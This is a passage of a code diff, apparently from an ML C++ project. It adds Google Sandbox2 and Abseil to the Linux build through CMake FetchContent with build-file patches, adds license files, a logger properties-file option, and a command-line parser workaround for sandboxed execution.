diff --git a/3rd_party/CMakeLists.txt b/3rd_party/CMakeLists.txt index f2b092f913..fb9b307523 100644 --- a/3rd_party/CMakeLists.txt +++ b/3rd_party/CMakeLists.txt @@ -39,3 +39,217 @@ execute_process( COMMAND ${CMAKE_COMMAND} -P ./pull-valijson.cmake WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} ) + +# Build Abseil and Sandbox2 on Linux only +if (CMAKE_SYSTEM_NAME STREQUAL "Linux") + # Include FetchContent module + include(FetchContent) + + # Save and disable BUILD_TESTING to prevent CTest from enabling tests + set(_saved_BUILD_TESTING ${BUILD_TESTING}) + set(BUILD_TESTING OFF CACHE BOOL "" FORCE) + set(BUILD_SHARED_LIBS OFF CACHE BOOL "" FORCE) + + # The vendored Abseil and Sandboxed API sources are not unity-build safe. For + # example absl_time_zone defines kDigits in an anonymous namespace in both + # time_zone_fixed.cc and time_zone_posix.cc, which collide when those files + # are merged into a single unity translation unit. CI configures the top-level + # build with -DCMAKE_UNITY_BUILD=ON, so disable unity builds for these + # third-party targets and restore the caller's setting afterwards. + set(_saved_CMAKE_UNITY_BUILD ${CMAKE_UNITY_BUILD}) + set(CMAKE_UNITY_BUILD OFF) + + # Disable Google Test-related options to avoid dependency issues + # Set as regular variables first to ensure they're available during FetchContent + set(ABSL_PROPAGATE_CXX_STD ON) + set(ABSL_USE_EXTERNAL_GOOGLETEST OFF) + set(ABSL_FIND_GOOGLETEST OFF) + set(ABSL_ENABLE_INSTALL OFF) + set(ABSL_BUILD_TESTING OFF) + set(ABSL_BUILD_TEST_HELPERS OFF) + + # Sandboxed API options + set(SAPI_ENABLE_EXAMPLES OFF) + set(SAPI_ENABLE_TESTS OFF) + + # Also cache them to ensure they persist + set(ABSL_PROPAGATE_CXX_STD ON CACHE INTERNAL "" FORCE) + set(ABSL_USE_EXTERNAL_GOOGLETEST OFF CACHE INTERNAL "" FORCE) + set(ABSL_FIND_GOOGLETEST OFF CACHE INTERNAL "" FORCE) + set(ABSL_ENABLE_INSTALL OFF CACHE INTERNAL "" FORCE) + set(ABSL_BUILD_TESTING OFF CACHE INTERNAL "" FORCE) + set(ABSL_BUILD_TEST_HELPERS OFF CACHE INTERNAL "" FORCE) + set(SAPI_ENABLE_EXAMPLES OFF CACHE INTERNAL "" FORCE) + set(SAPI_ENABLE_TESTS OFF CACHE INTERNAL "" FORCE) + + # Declare Sandboxed API dependency + FetchContent_Declare( + sandboxed-api + GIT_REPOSITORY https://github.com/google/sandboxed-api.git + GIT_TAG v20241008 + GIT_SHALLOW TRUE + ) + + # Get the source directory before making it available + FetchContent_GetProperties(sandboxed-api) + if(NOT sandboxed-api_POPULATED) + FetchContent_Populate(sandboxed-api) + + # Override the abseil-cpp.cmake file to disable Google Test + file(WRITE ${sandboxed-api_SOURCE_DIR}/cmake/abseil-cpp.cmake +"# Copyright 2019 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the \"License\"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an \"AS IS\" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +FetchContent_Declare(absl + URL https://github.com/abseil/abseil-cpp/archive/61e47a454c81eb07147b0315485f476513cc1230.zip # 2024-04-05 + URL_HASH SHA256=9ba0e97acf7026f7479e24967866ba9560cf3256304b6c8932d2b1ab7d0dfcd2 +) +set(ABSL_CXX_STANDARD \${SAPI_CXX_STANDARD} CACHE STRING \"\" FORCE) +set(ABSL_PROPAGATE_CXX_STD ON CACHE BOOL \"\" FORCE) +set(ABSL_RUN_TESTS OFF CACHE BOOL \"\" FORCE) +set(ABSL_BUILD_TEST_HELPERS OFF CACHE BOOL \"\" FORCE) +set(ABSL_USE_EXTERNAL_GOOGLETEST OFF) +set(ABSL_FIND_GOOGLETEST OFF) +set(ABSL_USE_GOOGLETEST_HEAD OFF CACHE BOOL \"\" FORCE) + +FetchContent_MakeAvailable(absl) +") + endif() + + # Patch sandboxed-api CMakeLists.txt to remove -fno-exceptions PUBLIC flag + # This prevents it from propagating to our codebase + file(READ ${sandboxed-api_SOURCE_DIR}/CMakeLists.txt _sapi_cmake_content) + string(REPLACE + "target_compile_options(sapi_base PUBLIC\n -fno-exceptions\n)" + "# target_compile_options(sapi_base PUBLIC\n# -fno-exceptions\n# )" + _sapi_cmake_content "${_sapi_cmake_content}") + file(WRITE ${sandboxed-api_SOURCE_DIR}/CMakeLists.txt "${_sapi_cmake_content}") + + # Patch SapiDeps.cmake to make Python3 optional + # Python3 is only needed for protobuf code generation, which may not be required + # if protobuf is already built or if we're using pre-generated code + if(EXISTS ${sandboxed-api_SOURCE_DIR}/cmake/SapiDeps.cmake) + file(READ ${sandboxed-api_SOURCE_DIR}/cmake/SapiDeps.cmake _sapi_deps_content) + + # Strategy: Insert a safety block at the beginning to ensure Python3_EXECUTABLE is defined, + # make find_package(Python3) QUIET, and wrap find_package_handle_standard_args in a conditional. + + # Step 1: Insert safety block at the very beginning of the file + # This ensures Python3_EXECUTABLE is always defined before any checks + string(REGEX REPLACE + "^([^#])" + "# Python3 optional patch (inserted by ml-cpp)\n# Ensure Python3_EXECUTABLE is defined to prevent REQUIRED_VARS errors\nif(NOT DEFINED Python3_EXECUTABLE)\n set(Python3_EXECUTABLE \"\")\nendif()\n\\1" + _sapi_deps_content "${_sapi_deps_content}") + + # Step 2: Make all find_package(Python3) calls QUIET + string(REGEX REPLACE + "find_package\\(Python3[^)]*\\)" + "find_package(Python3 QUIET COMPONENTS Interpreter)" + _sapi_deps_content "${_sapi_deps_content}") + + # Step 3: Wrap find_package_handle_standard_args in a conditional + # Insert if block before the call + string(REGEX REPLACE + "([^\n]*)find_package_handle_standard_args\\(Python3" + "\\1# Python3 optional check (ml-cpp patch)\n\\1if(Python3_EXECUTABLE)\n\\1 find_package_handle_standard_args(Python3" + _sapi_deps_content "${_sapi_deps_content}") + + # Step 4: Add else/endif after find_package_handle_standard_args calls + # Match the closing pattern and add the else block + string(REGEX REPLACE + "(find_package_handle_standard_args\\(Python3[^)]*REQUIRED_VARS[^)]*Python3_EXECUTABLE[^)]*\\))" + "\\1\n else()\n set(Python3_FOUND FALSE)\n message(STATUS \"Python3 not found - continuing without it (protobuf code generation may be disabled)\")\n endif()" + _sapi_deps_content "${_sapi_deps_content}") + + file(WRITE ${sandboxed-api_SOURCE_DIR}/cmake/SapiDeps.cmake "${_sapi_deps_content}") + endif() + + # Pre-set Python3 variables before SapiDeps.cmake is included + # This prevents "variable not defined" errors + if(NOT DEFINED Python3_EXECUTABLE) + set(Python3_EXECUTABLE "" CACHE INTERNAL "Python3 executable") + endif() + if(NOT DEFINED Python3_FOUND) + set(Python3_FOUND FALSE CACHE INTERNAL "Python3 found flag") + endif() + + # Patch sandbox2 CMakeLists.txt to link zlib and static libstdc++ to forkserver_bin + # zlib is needed because libunwind (a dependency of sandboxed-api) requires uncompress from zlib + # static libstdc++ is needed to avoid GLIBCXX version mismatches at runtime + # (the forkserver binary is embedded and executed in environments that may have older libstdc++) + if(EXISTS ${sandboxed-api_SOURCE_DIR}/sandboxed_api/sandbox2/CMakeLists.txt) + file(READ ${sandboxed-api_SOURCE_DIR}/sandboxed_api/sandbox2/CMakeLists.txt _sandbox2_cmake_content) + set(_sandbox2_patched FALSE) + + # Check if zlib is already linked to forkserver_bin + if(NOT _sandbox2_cmake_content MATCHES "forkserver_bin.*[^a-zA-Z_]z[^a-zA-Z_]") + # Find the add_executable line for forkserver_bin and add zlib linking after it + if(_sandbox2_cmake_content MATCHES "add_executable\\(sandbox2_forkserver_bin") + string(REGEX REPLACE + "(add_executable\\(sandbox2_forkserver_bin[^)]*\\))" + "\\1\ntarget_link_libraries(sandbox2_forkserver_bin PRIVATE z)" + _sandbox2_cmake_content "${_sandbox2_cmake_content}") + set(_sandbox2_patched TRUE) + message(STATUS "Patched sandbox2: added zlib linking to forkserver_bin") + else() + message(WARNING "Could not find sandbox2_forkserver_bin target to patch for zlib linking") + endif() + else() + message(STATUS "forkserver_bin already links zlib") + endif() + + # Add static libstdc++ and libgcc linking to forkserver_bin to avoid GLIBCXX version issues + # This ensures the embedded forkserver binary works regardless of the host's libstdc++ version + if(NOT _sandbox2_cmake_content MATCHES "forkserver_bin.*static-libstdc\\+\\+") + if(_sandbox2_cmake_content MATCHES "add_executable\\(sandbox2_forkserver_bin") + string(REGEX REPLACE + "(add_executable\\(sandbox2_forkserver_bin[^)]*\\))" + "\\1\ntarget_link_options(sandbox2_forkserver_bin PRIVATE -static-libstdc++ -static-libgcc)" + _sandbox2_cmake_content "${_sandbox2_cmake_content}") + set(_sandbox2_patched TRUE) + message(STATUS "Patched sandbox2: added static libstdc++/libgcc linking to forkserver_bin") + else() + message(WARNING "Could not find sandbox2_forkserver_bin target to patch for static linking") + endif() + else() + message(STATUS "forkserver_bin already has static libstdc++ linking") + endif() + + # Write the patched content if any changes were made + if(_sandbox2_patched) + file(WRITE ${sandboxed-api_SOURCE_DIR}/sandboxed_api/sandbox2/CMakeLists.txt "${_sandbox2_cmake_content}") + message(STATUS "Wrote patched sandbox2 CMakeLists.txt") + endif() + endif() + + # Now add the subdirectory + add_subdirectory(${sandboxed-api_SOURCE_DIR} ${sandboxed-api_BINARY_DIR} EXCLUDE_FROM_ALL) + + # Set SANDBOX2_LIBRARIES after sandboxed-api is available + # Check if sandbox2::sandbox2 target exists (it should if sandboxed-api built successfully) + if(TARGET sandbox2::sandbox2) + set(SANDBOX2_LIBRARIES sandbox2::sandbox2 CACHE INTERNAL "Sandbox2 libraries") + message(STATUS "Sandbox2 enabled: using sandbox2::sandbox2") + else() + message(FATAL_ERROR "Sandbox2 required on Linux but sandbox2::sandbox2 was not built") + endif() + + # Restore BUILD_TESTING if it was set + if(_saved_BUILD_TESTING) + set(BUILD_TESTING ${_saved_BUILD_TESTING} CACHE BOOL "" FORCE) + endif() + + # Restore the caller's unity-build setting for the rest of the build. + set(CMAKE_UNITY_BUILD ${_saved_CMAKE_UNITY_BUILD}) +endif() diff --git a/3rd_party/licenses/abseil-INFO.csv b/3rd_party/licenses/abseil-INFO.csv new file mode 100644 index 0000000000..587327a323 --- /dev/null +++ b/3rd_party/licenses/abseil-INFO.csv @@ -0,0 +1,2 @@ +name,version,revision,url,license,copyright,sourceURL +abseil-cpp,20240722.1,,https://abseil.io,Apache License 2.0,,https://github.com/abseil/abseil-cpp diff --git a/3rd_party/licenses/abseil-LICENSE.txt b/3rd_party/licenses/abseil-LICENSE.txt new file mode 100644 index 0000000000..62589edd12 --- /dev/null +++ b/3rd_party/licenses/abseil-LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + https://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/3rd_party/licenses/abseil-NOTICE.txt b/3rd_party/licenses/abseil-NOTICE.txt new file mode 100644 index 0000000000..e69de29bb2 diff --git a/3rd_party/licenses/sandbox2-INFO.csv b/3rd_party/licenses/sandbox2-INFO.csv new file mode 100644 index 0000000000..979beff799 --- /dev/null +++ b/3rd_party/licenses/sandbox2-INFO.csv @@ -0,0 +1,2 @@ +name,version,revision,url,license,copyright,sourceURL +sandboxed-api,v20241008,,https://developers.google.com/code-sandboxing/sandboxed-api,Apache License 2.0,,https://github.com/google/sandboxed-api diff --git a/3rd_party/licenses/sandbox2-LICENSE.txt b/3rd_party/licenses/sandbox2-LICENSE.txt new file mode 100644 index 0000000000..c6b4a3bbcf --- /dev/null +++ b/3rd_party/licenses/sandbox2-LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/3rd_party/licenses/sandbox2-NOTICE.txt b/3rd_party/licenses/sandbox2-NOTICE.txt new file mode 100644 index 0000000000..e69de29bb2 diff --git a/bin/controller/CCmdLineParser.cc b/bin/controller/CCmdLineParser.cc index 57ca7775e0..6858358904 100644 --- a/bin/controller/CCmdLineParser.cc +++ b/bin/controller/CCmdLineParser.cc @@ -27,7 +27,8 @@ bool CCmdLineParser::parse(int argc, std::string& jvmPidStr, std::string& logPipe, std::string& commandPipe, - std::string& outputPipe) { + std::string& outputPipe, + std::string& propertiesFile) { try { boost::program_options::options_description desc(DESCRIPTION); // clang-format off @@ -42,6 +43,8 @@ bool CCmdLineParser::parse(int argc, "Named pipe to accept commands from - default is controller_command_") ("outputPipe", boost::program_options::value(), "Named pipe to output responses to - default is controller_output_") + ("propertiesFile", boost::program_options::value(), + "Properties file for logger configuration") ; // clang-format on @@ -70,6 +73,9 @@ bool CCmdLineParser::parse(int argc, if (vm.count("outputPipe") > 0) { outputPipe = vm["outputPipe"].as(); } + if (vm.count("propertiesFile") > 0) { + propertiesFile = vm["propertiesFile"].as(); + } } catch (std::exception& e) { std::cerr << "Error processing command line: " << e.what() << std::endl; return false; diff --git a/bin/controller/CCmdLineParser.h b/bin/controller/CCmdLineParser.h index 4d5e66ab1e..0e116ad5e3 100644 --- a/bin/controller/CCmdLineParser.h +++ b/bin/controller/CCmdLineParser.h @@ -39,7 +39,8 @@ class CCmdLineParser { std::string& jvmPidStr, std::string& logPipe, std::string& commandPipe, - std::string& outputPipe); + std::string& outputPipe, + std::string& propertiesFile); private: static const std::string DESCRIPTION; diff --git a/bin/controller/CMakeLists.txt b/bin/controller/CMakeLists.txt index 661b9355a5..2aa17eb36c 100644 --- a/bin/controller/CMakeLists.txt +++ b/bin/controller/CMakeLists.txt @@ -16,7 +16,8 @@ set(ML_LINK_LIBRARIES MlCore MlSeccomp MlVer - ) + ${SANDBOX2_LIBRARIES} +) ml_add_executable(controller CBlockingCallCancellingStreamMonitor.cc diff --git a/bin/controller/Main.cc b/bin/controller/Main.cc index 61e43288c2..c7b36e0800 100644 --- a/bin/controller/Main.cc +++ b/bin/controller/Main.cc @@ -73,8 +73,9 @@ int main(int argc, char** argv) { std::string logPipe; std::string commandPipe; std::string outputPipe; - if (ml::controller::CCmdLineParser::parse(argc, argv, jvmPidStr, logPipe, - commandPipe, outputPipe) == false) { + std::string propertiesFile; + if (ml::controller::CCmdLineParser::parse(argc, argv, jvmPidStr, logPipe, commandPipe, + outputPipe, propertiesFile) == false) { return EXIT_FAILURE; } @@ -106,8 +107,8 @@ int main(int argc, char** argv) { return EXIT_FAILURE; } - if (ml::core::CLogger::instance().reconfigureLogToNamedPipe( - logPipe, cancellerThread.hasCancelledBlockingCall()) == false) { + if (ml::core::CLogger::instance().reconfigure( + logPipe, propertiesFile, cancellerThread.hasCancelledBlockingCall()) == false) { if (cancellerThread.hasCancelledBlockingCall().load()) { LOG_INFO(<< "Parent process died - ML controller exiting"); } else { diff --git a/bin/pytorch_inference/CCmdLineParser.cc b/bin/pytorch_inference/CCmdLineParser.cc index 451a58f48d..574e17ca64 100644 --- a/bin/pytorch_inference/CCmdLineParser.cc +++ b/bin/pytorch_inference/CCmdLineParser.cc @@ -71,21 +71,39 @@ bool CCmdLineParser::parse(int argc, "Optionaly set number of allocations to parallelize model forwarding - default is 1") ("cacheMemorylimitBytes", boost::program_options::value(), "Optional memory in bytes that the inference cache can use - default is 0 which disables caching") - ("validElasticLicenseKeyConfirmed", boost::program_options::value(), + ("validElasticLicenseKeyConfirmed", boost::program_options::value()->implicit_value(true), "Confirmation that a valid Elastic license key is in use.") ("lowPriority", "Execute process in low priority") ("useImmediateExecutor", "Execute requests on the main thread. This mode should only used for " "benchmarking purposes to ensure requests are processed in order)") +#ifdef ML_ALLOW_SKIP_MODEL_VALIDATION ("skipModelValidation", "Skip TorchScript model graph validation. WARNING: disables security checks on model operations.") +#endif ; // clang-format on boost::program_options::variables_map vm; - boost::program_options::parsed_options parsed = - boost::program_options::command_line_parser(argc, argv) - .options(desc) - .run(); - boost::program_options::store(parsed, vm); + // Workaround for Sandbox2: if argv[0] is an option (Sandbox2 sets it incorrectly), + // parse it as an option using a vector of strings + if (argc > 0 && std::string(argv[0]).substr(0, 2) == "--") { + // argv[0] is an option, not the program path - parse all args as options + std::vector all_args; + for (int i = 0; i < argc; ++i) { + all_args.push_back(argv[i]); + } + boost::program_options::parsed_options parsed_all = + boost::program_options::command_line_parser(all_args) + .options(desc) + .run(); + boost::program_options::store(parsed_all, vm); + } else { + // Normal case: argv[0] is the program path + boost::program_options::parsed_options parsed = + 